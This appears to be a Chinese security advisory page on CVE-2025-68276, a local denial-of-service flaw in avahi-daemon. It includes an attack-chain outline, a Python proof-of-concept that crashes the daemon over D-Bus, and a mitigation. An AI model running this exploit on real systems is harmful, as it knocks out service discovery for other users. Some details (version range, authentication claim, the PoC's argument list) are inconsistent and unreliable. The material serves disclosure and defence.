IPBUF安全漏洞报告
English
CVE-2025-68276 CVSS 5.5 中危

CVE-2025-68276 Avahi 0.9-rc2及更早版本本地DoS漏洞

披露日期: 2026-01-12

漏洞信息

漏洞编号
CVE-2025-68276
漏洞类型
拒绝服务(Denial of Service)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Avahi

相关标签

Avahi拒绝服务本地提权D-BusmDNSCVE-2025-68276零配置网络服务发现

漏洞概述

Avahi是一个基于mDNS/DNS-SD协议套件的系统,用于在本地网络上进行服务发现。该漏洞存在于Avahi 0.9-rc2及更早版本中。本地未特权用户可以通过D-Bus接口创建带有AVAHI_LOOKUP_USE_WIDE_AREA标志的记录浏览器(Record Browser),从而导致avahi-daemon崩溃。攻击者可以利用此漏洞在无需认证的情况下,通过调用RecordBrowserNew方法或创建hostname/address/service resolvers/browsers来触发该问题。该漏洞需要wide-area功能处于禁用状态才能利用,成功利用后可造成本地服务拒绝服务攻击,影响系统的网络服务发现功能。

技术细节

漏洞源于Avahi守护进程在处理D-Bus接口请求时的边界条件处理不当。当本地用户通过D-Bus调用RecordBrowserNew方法,并设置AVAHI_LOOKUP_USE_WIDE_AREA标志时,如果wide-area功能被禁用,守护进程未能正确处理这种冲突情况,导致空指针解引用或内存访问错误,最终造成进程崩溃。攻击者可以通过以下方式触发:1) 直接调用org.freedesktop.Avahi.RecordBrowserNew方法;2) 创建hostname resolver并内部生成wide-area记录浏览器;3) 创建service browser触发相关回调。由于攻击复杂度低且无需特殊权限,任何本地用户都可实施此攻击。修复方案在GitHub commit ede7048475c5d47d53890e3bc1350dda8e0b3688中实现。

攻击链分析

STEP 1
步骤1
攻击者获取本地系统访问权限,无需特殊权限
STEP 2
步骤2
确认avahi-daemon正在运行且wide-area功能已禁用
STEP 3
步骤3
通过D-Bus接口调用RecordBrowserNew方法,传入AVAHI_LOOKUP_USE_WIDE_AREA标志
STEP 4
步骤4
avahi-daemon在处理wide-area标志时触发空指针解引用
STEP 5
步骤5
avahi-daemon进程崩溃,服务中断

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-68276 PoC - Avahi Daemon DoS via D-Bus This PoC demonstrates triggering avahi-daemon crash by creating RecordBrowser with AVAHI_LOOKUP_USE_WIDE_AREA flag via D-Bus. Note: Requires wide-area disabled in avahi-daemon configuration. """ import dbus import sys def crash_avahi_daemon(): """ Crash avahi-daemon by creating RecordBrowser with AVAHI_LOOKUP_USE_WIDE_AREA flag when wide-area is disabled. """ try: bus = dbus.SystemBus() # Get Avahi Server object server = dbus.Interface( bus.get_object('org.freedesktop.Avahi', '/'), 'org.freedesktop.Avahi.Server' ) # AVAHI_LOOKUP_USE_WIDE_AREA = 2 AVAHI_LOOKUP_USE_WIDE_AREA = 2 AVAHI_IF_UNSPEC = -1 AVAHI_PROTO_UNSPEC = -1 # Create RecordBrowserNew with wide-area flag # This triggers the vulnerability when wide-area is disabled server.RecordBrowserNew( AVAHI_IF_UNSPEC, # interface AVAHI_PROTO_UNSPEC, # protocol '', # name 0, # type 0, # clazz 0, # type AVAHI_LOOKUP_USE_WIDE_AREA, # flags - triggers vulnerability dbus.ObjectPath('/test') ) print("[+] RecordBrowser created - avahi-daemon may crash") except dbus.exceptions.DBusException as e: print(f"[*] DBus error (may indicate successful crash): {e}") except Exception as e: print(f"[-] Error: {e}") if __name__ == '__main__': print("[*] CVE-2025-68276 PoC - Avahi DoS") print("[*] Requires: Local access, avahi-daemon running, wide-area disabled") crash_avahi_daemon()

影响范围

Avahi < 0.9-rc2 (所有更早版本受影响)

防御指南

临时缓解措施
如果无法立即升级,可通过限制D-Bus访问权限来缓解,配置/etc/dbus-1/system.d/avahi-dbus.conf限制非特权用户对Avahi接口的访问。同时监控avahi-daemon进程状态,确保其自动重启机制正常工作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表